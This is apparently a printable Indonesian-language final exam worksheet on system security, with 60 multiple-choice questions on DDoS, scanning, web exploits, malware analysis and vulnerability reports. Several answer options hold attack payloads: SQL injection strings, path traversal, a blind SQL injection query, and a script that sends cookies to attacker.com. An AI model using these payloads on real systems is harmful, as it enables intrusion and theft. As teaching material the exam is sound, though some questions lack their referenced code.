wayground logo

Free Printable Worksheets

NEW

Font size

S
M
L
XL
Worksheets

Ujian Akhir Semester (UAS) Keamanan Sistem

Total questions: 60

Worksheet time: 30mins

Name
Class
Date
1.

Apa tujuan utama serangan DDoS?

a)

Mengalihkan trafik ke server lain

b)

Menghentikan layanan dengan membanjiri resource target

c)

Mencuri data rahasia pengguna

d)

Memasang malware di jaringan korban

2.

Jenis serangan DDoS mana yang memanfaatkan banyak host terinfeksi untuk mengirim paket sekaligus?

a)

UDP Flood

b)

SYN Flood

c)

Botnet-based DDoS

d)

DNS Amplification

3.

Port nomor berapa yang sering dibanjiri pada serangan UDP Flood?

a)

22 (SSH)

b)

80 (HTTP)

c)

53 (DNS)

d)

0 (Reserved)

4.

Manakah dari hal berikut yang merupakan indikator simpel terjadinya DDoS pada sebuah web server?

a)

Sistem operasi crash

b)

Kecepatan loading halaman web sangat lambat atau timeout

c)

File log terhapus otomatis

d)

Website mengganti tampilan menjadi halaman putih

5.

Apa perbedaan utama antara serangan SYN Flood dan UDP Flood dalam konteks DDoS?

a)

SYN Flood menargetkan lapisan aplikasi, UDP Flood menargetkan lapisan transport

b)

SYN Flood menargetkan koneksi TCP, UDP Flood menargetkan koneksi UDP

c)

SYN Flood memerlukan botnet, UDP Flood tidak memerlukan botnet

d)

SYN Flood hanya menyerang port 80, UDP Flood hanya menyerang port 443

6.

Teknik mitigasi DDoS manakah yang menggunakan analisis pola trafik untuk memblokir lalu lintas mencurigakan?

a)

Rate Limiting

b)

Blackholing

c)

Sinkholing

d)

IP Reputation Filtering

7.

Apa fungsi dari “blackholing” dalam mitigasi DDoS?

a)

Mengalihkan trafik yang valid ke server cadangan

b)

Mengarahkan seluruh trafik (baik valid maupun serangan) ke sebuah “lubang hitam” sehingga tidak sampai ke server utama

c)

Mengidentifikasi paket jahat untuk dianalisis lebih lanjut

d)

Menggunakan Cloudflare untuk mencegat serangan

8.

Dalam serangan DNS Amplification, bagaimana penyerang mendapatkan efek amplifikasi?

a)

Mengirim permintaan DNS besar dari satu IP palsu

b)

Memanfaatkan DNS server terbuka untuk mengirim respons yang jauh lebih besar ke target dengan memalsukan alamat IP korban

c)

Mengirim permintaan HTTP ke server DNS

d)

Menggabungkan UDP dan TCP Flood secara bersamaan

9.

Anda melihat lonjakan trafik SYN yang tidak wajar ke sebuah server produksi. Paket-paket SYN tersebut datang dari ribuan alamat IP berbeda. Jenis serangan apakah ini, dan apa langkah cepat untuk menganalisis?

a)

UDP Flood; periksa port yang dibanjiri

b)

Distributed SYN Flood; gunakan alat seperti tcpdump untuk melihat header TCP/SYN dan identifikasi pola IP source

c)

HTTP Flood; lihat URL yang diakses secara berlebihan

d)

ICMP Flood; cek jenis ICMP pada paket-paket

10.

Serangan “Slowloris” sering dianggap varian DDoS. Bagaimana cara kerjanya secara umum?

a)

Mengirim banyak paket ICMP untuk memenuhi bandwidth

b)

Membuka banyak koneksi HTTP dan menahan agar tidak ditutup dengan mengirim header secara perlahan sehingga memakan resource server

c)

Memanfaatkan botnet untuk mengirim paket UDP secara acak

d)

Memanfaatkan kekurangan memori aplikasi web untuk memicu buffer overflow

11.

Ketika melakukan mitigasi dengan teknik “scrubbing” di provider, trafik dialihkan ke server pembersihan. Apa risiko utama dari metode ini jika tidak dikonfigurasi dengan benar?

a)

Trafik terenkripsi tidak bisa dibersihkan

b)

Latensi meningkat tajam karena semua paket diuji satu per satu

c)

Valid trafik potensial bisa terblokir (false positive) sehingga layanan terhambat

d)

Server utama menjadi single point of failure

12.

Sebuah perusahaan sedang merancang solusi proteksi DDoS tingkat tinggi. Salah satu komponennya adalah “Anycast Network”. Bagaimana prinsip kerja Anycast dalam konteks DDoS mitigation?

a)

Menggunakan satu alamat IP untuk semua server sehingga sulit dilacak

b)

Menyalurkan trafik ke banyak lokasi geografis secara otomatis untuk menyebarkan beban

c)

Memblokir IP sumber yang dianggap jahat

d)

Menggunakan enkripsi pada semua paket masuk

13.

Apa yang dimaksud dengan “scan port” pada web server?

a)

Mengecek konten website untuk menemukan kata kunci tertentu

b)

Mengirim permintaan HTTP untuk memperoleh halaman utama

c)

Menguji port-port jaringan untuk menemukan port terbuka

d)

Mengunduh file konfigurasi server

14.

Manakah software yang sering digunakan untuk melakukan port scanning?

a)

Metasploit

b)

Nmap

c)

Burp Suite

d)

Wireshark

15.

Jika menemukan port 22 (SSH) terbuka di server yang menjadi target, apa kemungkinan celah yang bisa dieksploitasi?

a)

SQL Injection

b)

Brute-force login SSH

c)

Cross-Site Scripting

d)

Directory Traversal

16.

Untuk mengakses direktori tersembunyi di web server tanpa izin, teknik apa yang biasa digunakan?

a)

Cross-Origin Resource Sharing

b)

Directory Traversal

c)

Man-in-the-Middle Attack

d)

ARP Spoofing

17.

Perintah berikut dijalankan: `nmap -sS -p 80,443 example.com`. Apa arti opsi `-sS`?

a)

Melakukan sejumlah (mass) scan

b)

TCP connect scan

c)

TCP SYN scan (half-open scan)

d)

UDP scan

18.

Seorang pentester menemukan file `phpinfo.php` yang memuat informasi konfigurasi PHP. Kenapa file ini dapat menjadi celah keamanan?

a)

Memungkinkan eksekusi perintah jarak jauh

b)

Mengungkap detail modul yang terpasang, path direktori, dan variabel lingkungan yang memudahkan perencanaan serangan lebih lanjut

c)

File tersebut selalu berisi kredensial database

d)

Hanya bisa diakses jika ada serangan SQL Injection sebelumnya

19.

Apa fungsi file `.htaccess` pada server Apache?

a)

Menyimpan log aktivitas server

b)

Menentukan konfigurasi direktori, seperti aturan rewrite, pembatasan akses, dan redirect

c)

Menjalankan skrip PHP secara otomatis

d)

Menyimpan kunci SSH untuk autentikasi

20.

Bagaimana cara kerja serangan “Directory Brute Forcing” pada web server?

a)

Menggunakan SQL Injection untuk memperoleh nama direktori

b)

Mengirim permintaan HTTP ke berbagai URL berdasarkan wordlist untuk menemukan direktori tersembunyi atau file sensitif

c)

Mengedit file konfigurasi server via FTP

d)

Menggunakan ARP Spoofing untuk memperoleh paket data

21.

Skenario: Anda menemukan bahwa web server menggunakan Apache versi lama yang rentan terhadap exploit mod_ssl. Langkah pertama apa yang akan Anda lakukan sebagai pentester?

a)

Melakukan exploit langsung dengan Metasploit

b)

Mengecek vulnerability database (CVE) untuk mencari exploit yang sesuai dan memverifikasi patch yang telah tersedia

c)

Melakukan brute-force login SSH

d)

Menyebarkan malware ke server

22.

Server menolak koneksi HTTPS di port 443, tetapi port 80 terbuka. Setelah dianalisis lebih lanjut, ditemukan bahwa modul SSL belum terinstal. Apa risiko utamanya?

a)

Tidak ada risiko karena hanya HTTP yang berjalan

b)

Data sensitif dan kredensial dikirim dalam plaintext sehingga mudah disadap

c)

Server rentan terhadap buffer overflow

d)

Server tidak bisa di-scan menggunakan Nmap

23.

Anda sukses mendapatkan shell low-privilege di server Linux. Bagaimana cara Anda mengidentifikasi apakah user `www-data` (user web server) memiliki kemampuan untuk menaikkan privilege (privilege escalation)?

a)

Mengecek file `/etc/passwd` untuk menemukan password root

b)

Mengeksekusi `sudo -l` untuk melihat perintah apa saja yang boleh dijalankan tanpa password

c)

Mengubah hak akses file `/etc/shadow`

d)

Menghapus user lain di server

24.

Dalam konteks exploit web server Windows, apa itu “Null Byte Injection” dan bagaimana teknik ini dapat digunakan?

a)

Menyisipkan karakter `\x00` di akhir input untuk memotong ekstensi file saat server memproses path, sehingga mem-bypass filter ekstensi berbahaya

b)

Menggunakan byte `\x00` untuk crash buffer overflow

c)

Digunakan untuk memperlambat respon server dengan mengirim paket kosong

d)

Teknik ini digunakan untuk kerentanan XSS pada server IIS

25.

Apa itu SQL Injection?

a)

Teknik mencuri cookie pengguna

b)

Menyisipkan perintah SQL jahat melalui input form untuk dimasukkan ke database

c)

Merusak dataset pada server FTP

d)

Mengunduh file database

26.

Contoh payload sederhana untuk SQL Injection pada parameter `id` adalah

a)

'; DROP TABLE users; --

b)

<script>alert(1)</script>

c)

../etc/passwd

d)

<?php phpinfo(); ?>

27.

Apa itu Cross-Site Scripting (XSS)?

a)

Teknik menyisipkan skrip berbahaya ke dalam halaman web agar dieksekusi di browser pengguna

b)

Teknik untuk memalsukan alamat IP

c)

Memanfaatkan celah buffer overflow di web server

d)

Memasang rootkit pada server web

28.

Manakah jenis XSS yang disertakan pada halaman web tanpa validasi sehingga skrip dijalankan langsung saat halaman dimuat?

a)

Stored XSS

b)

Reflected XSS

c)

DOM-based XSS

d)

Blind XSS

29.

Parameter `username` dan `password` pada form login rentan terhadap SQL Injection. Query di backend: SELECT * FROM users WHERE username = '$username' AND password = '$password';

Jika attacker mengirim `username = 'admin' --` dan `password = 'anything'`, apa yang terjadi?

a)

Login gagal karena syntax salah

b)

Query menjadi SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';,

c)

Query menjadi `SELECT * FROM users WHERE password = 'anything';

d)

Query error karena --

30.

Bagaimana cara mencegah SQL Injection di aplikasi PHP?

a)

Menggunakan `mysqli_query()` langsung

b)

Menggunakan prepared statements (misal PDO dengan parameter binding)

c)

Menghapus karakter `'` di input menggunakan `str_replace()`

d)

Menggunakan filter var_dump()

31.

Anda menemukan skrip berikut di sebuah halaman:

Jenis XSS apa yang bisa terjadi?

a)

Stored XSS

b)

Reflected XSS

c)

DOM-based XSS

d)

Blind XSS

32.

Untuk mencegah XSS pada output HTML, fungsi PHP mana yang paling sesuai?

a)

`strip_tags()`

b)

`htmlspecialchars()`

c)

`addslashes()`

d)

`base64_encode()`

33.

Skenario:

Aplikasi rentan XSS tersimpan (Stored XSS) pada kolom komentar. Penyerang dapat menyisipkan payload JavaScript yang dieksekusi setiap kali pengguna membuka halaman komentar. Bagaimana payload “Self XSS” bisa digunakan untuk mencuri cookie? (anggap aplikasi tidak menggunakan HttpOnly pada cookie)

a)

"><img src=x onerror="alert(document.cookie)">

b)

<script>fetch('http://attacker.com/steal?c=' + document.cookie)</script>

c)

"><svg onload="console.log('XSS')">

34.

Dalam konteks Blind SQL Injection, penyerang sering menggunakan teknik “Time-Based” (misalnya `SLEEP(5)`). Apa tujuan teknik ini?

a)

Mempercepat query

b)

Membuat response server tertunda sehingga penyerang bisa mengonfirmasi bit atau karakter dari database karena waktu eksekusi yang berbeda

c)

Menghindari deteksi WAF (Web Application Firewall)

d)

Menghabiskan resource server dengan menunda setiap koneksi

35.

Anda meninjau sebuah form login yang menggunakan AJAX untuk memroses input, dengan JavaScript sebagai berikut

a)

Reflected XSS, karena `innerHTML` digunakan tanpa filter tambahan

b)

Stored XSS, karena AJAX selalu menyimpan data ke database

c)

DOM-based XSS, karena manipulasi DOM pada `innerHTML` memungkinkan payload mengeksekusi

d)

Tidak ada celah XSS karena sudah di-*encode*

36.

Bagaimana cara memanfaatkan celah SQL Injection untuk membaca tabel sistem (misalnya `information_schema.columns`) pada MySQL jika input tidak diafabkan (filter) dan response outputnya dibatasi?

a)

Menggunakan SQL Injection tipe Boolean-based blind dengan query: ' AND (SELECT IF((SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),1,1))='u', SLEEP(5), NULL)) --

b)

Menggunakan XSS untuk mengambil data kolom

c)

Membuat stored procedure untuk mengambil data

d)

Menggunakan SSL untuk mem-bypass filter

37.

Apa definisi malware?

a)

Perangkat keras yang rusak

b)

Perangkat lunak yang dirancang untuk merusak, mencuri data, atau mengganggu sistem

c)

Metode enkripsi data

d)

Bahasa pemrograman untuk web

38.

Manakah yang termasuk kategori malware?

a)

Antivirus

b)

Worm, Virus, Trojan

c)

Firewall

d)

Sistem operasi

39.

Static analysis pada malware biasanya dilakukan dengan cara?

a)

Menjalankan malware di sandbox

b)

Membongkar file biner (.exe, .dll) dan memeriksa string, header, dan sekumpulan byte tanpa menjalankannya

c)

Menggunakan debugger untuk mengeksekusi baris per baris

d)

Melihat hasil log jaringan

40.

Apa tujuan “sandboxing” dalam analisis malware?

a)

Mengoptimalkan kinerja aplikasi

b)

Menjalankan malware dalam lingkungan terisolasi agar tidak menyebar ke sistem utama

c)

Mempercepat eksekusi malware

d)

Mengompresi file malware

41.

Pada analisis malware, apa fungsi dari instruksi “PE Header” pada file Windows executable?

a)

Menentukan pengguna terakhir yang menjalankan file

b)

Menyimpan metadata seperti ukuran kode, data, dan informasi sekuriti (import table, entry point, dll)

c)

Mengeksekusi kode malware

d)

Memanggil antivirus otomatis

42.

Manakah alat yang sering digunakan untuk melakukan analisis dinamis malware pada Windows?

a)

IDA Pro

b)

OllyDbg atau x64dbg

c)

Wireshark

d)

Burp Suite

43.

Anda menemukan malware yang melakukan koneksi C2 (Command & Control). Port default yang sering digunakan botnet Mirai adalah?

a)

80

b)

23

c)

8080

d)

443

44.

Dalam proses unpacking sebuah malware yang dikemas dengan UPX, perintah apa yang dapat digunakan pada Linux untuk melihat isi biner asli?

a)

`upx -d malware.exe`

b)

`strip malware.exe`

c)

`chmod +x malware.exe`

d)

`strings malware.exe`

45.

Skenario: Anda menganalisis sampel malware Windows yang terdeteksi sebagai “Ransomware”. Saat dieksekusi di sandbox, file memanggil API Windows berikut:

CreateFile("\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Apa tujuan utama panggilan API tersebut?

a)

Membaca informasi registry Windows

b)

Mengakses langsung disk fisik untuk mengenkripsi sektor sebelum file system, sehingga memaksa pengguna membayar tebusan

c)

Membuat file log di disk

d)

Mereset password administrator

46.

Dalam analisis forensik malware, RSA-2048 sering digunakan. Apa kira-kira alasan penggunaan algoritma RSA-2048 dalam ransomware?

a)

RSA-2048 lebih cepat daripada symmetric AES

b)

RSA-2048 memungkinkan enkripsi kunci simetris (AES) dengan aman, membuat kunci dekripsi sulit dipatahkan

c)

RSA-2048 gratis untuk digunakan

d)

RSA-2048 tidak memerlukan perpustakaan eksternal

47.

Anda melakukan debugging malware menggunakan OllyDbg dan menemukan bahwa sebelum payload utama dijalankan, malware memanggil fungsi berikut:
VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

Apa tujuan panggilan tersebut?

a)

Mengalokasikan memori baru dengan hak akses baca-tulis-eksekusi untuk menyimpan payload terdekripsi dan menjalankannya di memori

b)

Mengosongkan cache memori

c)

Menutup semua proses yang berjalan

d)

Membuat file sementara

48.

Bagaimana teknik “Code Obfuscation” mempersulit analisis malware?

a)

Membuat file malware berukuran sangat besar

b)

Mengacak nama fungsi, variabel, dan menambahkan instruksi tak terpakai sehingga kode sulit dipahami secara statis maupun dinamis

c)

Menggunakan enkripsi SSL pada tiap panggilan API

d)

Menyisipkan CAPTCHA

49.

Apa tujuan utama dari laporan Vulnerability Assessment (VA)?

a)

Mengaktifkan firewall baru

b)

Mengidentifikasi, mendokumentasikan, dan memberikan rekomendasi terhadap kerentanan sistem sebelum dieksploitasi penyerang

c)

Menghapus semua user yang tidak aktif

d)

Menginstal patch otomatis

50.

Manakah komponen penting yang seharusnya ada dalam laporan VA?

a)

Daftar seluruh file di server

b)

Ringkasan eksekutif, rincian temuan, risiko, dan rekomendasi perbaikan

c)

Daftar aktivitas pengguna

d)

Log telemetri aplikasi

51.

Istilah “CVSS Score” dalam konteks VA merujuk pada?

a)

Rating kecepatan server

b)

Common Vulnerability Scoring System, yaitu metode penilaian tingkat keparahan kerentanan

c)

Protokol enkripsi standar

d)

Daftar paket software yang terinstal

52.

Apa arti singkatan “POC” dalam laporan penilaian kerentanan?

a)

Point of Contact (kontak utama)

b)

Proof of Concept (bukti konsep)

c)

Packet over Control

d)

Privilege of Code

53.

Seorang VA engineer menemukan kerentanan SQL Injection dengan CVSS v3.1 Base Score 9.1. Bagaimana cara menuliskan level keparahan di laporan?

a)

Low

b)

Medium

c)

High

d)

Critical

54.

Pada bagian executive summary laporan VA, informasi apa yang paling cocok untuk disajikan?

a)

Detail teknis exploit pada tiap kerentanan

b)

Ringkasan temuan utama, dampak bisnis, dan rekomendasi high-level untuk manajemen

c)

Daftar IP yang discan

d)

Hasil dump database

55.

Dalam laporan VA, sebaiknya bagian “Scope” memuat apa saja?

a)

Daftar nama tester dan jadwal jam kerja

b)

Cakupan sistem yang diuji (IP/network range, aplikasi, versi perangkat lunak) serta batasan yang berlaku selama pengujian

c)

Hasil screenshot exploit

d)

Daftar port yang dibuka pada firewall

56.

Manakah indikator berikut yang menunjukkan bahwa sebuah kerentanan “medium” perlu segera ditangani karena potensi eksploitasi yang mudah?

a)

CVSS 3.0 Base Score = 4.3 dengan Attack Vector: Network, Attack Complexity: Low, User Interaction: None

b)

CVSS 3.0 Base Score = 2.1 dengan Attack Vector: Local, Authentication: Required

c)

CVSS 3.0 Base Score = 7.0 dengan Attack Vector: Physical

d)

CVSS 3.0 Base Score = 1.0 dengan Attack Vector: Network

57.

Dalam laporan VA, ketika merekomendasikan mitigasi untuk kerentanan RCE (Remote Code Execution), manakah pernyataan rekomendasi yang paling tepat?

a)

“Pastikan pengguna tidak memasukkan input berupa karakter aneh.”

b)

“Segera patch sistem ke versi X.X.X; jika patch belum tersedia, batasi akses port terkait, gunakan Web Application Firewall (WAF) untuk memblokir payload, dan lakukan validasi input di sisi server.”

c)

“Hapus saja service yang rentan.”

d)

“Tingkatkan RAM server agar lebih cepat.”

58.

Dalam menulis laporan, VA engineer menyertakan tabel prioritas perbaikan:

Mengapa kolom “Risk Level” penting, walaupun sudah ada CVSS?

a)

Karena CVSS tidak pernah akurat

b)

Risk Level menyesuaikan konteks bisnis, exposure, dan dampak spesifik organisasi meski angka CVSS sama

c)

Agar laporan terlihat lengkap

d)

Karena atasan tidak mau melihat angka saja

59.

Bagian “Proof of Concept (PoC)” dalam laporan VA dibuat untuk apa?

a)

Menunjukkan bahwa kerentanan benar-benar dapat dieksploitasi (dengan contoh teknik atau skrip) agar tim pengembang memahami cara kerja exploit

b)

Hanya untuk tujuan dokumentasi internal

c)

Agar sertifikat SSL bisa dipasang secara otomatis

d)

Menampilkan screenshot dari sistem operasi

60.

Jika manajemen meminta ringkasan temuan VA yang mudah dipahami non-teknis, bagian mana yang perlu ditonjolkan?

a)

Daftar setiap port yang dibuka dan tertutup

b)

Ringkasan eksekutif—menjelaskan kerentanan utama, potensi dampak bisnis, dan rekomendasi prioritas secara singkat tanpa jargon teknis berlebih

c)

Tabel dump hasil scan

d)

Log lengkap dari proses scanning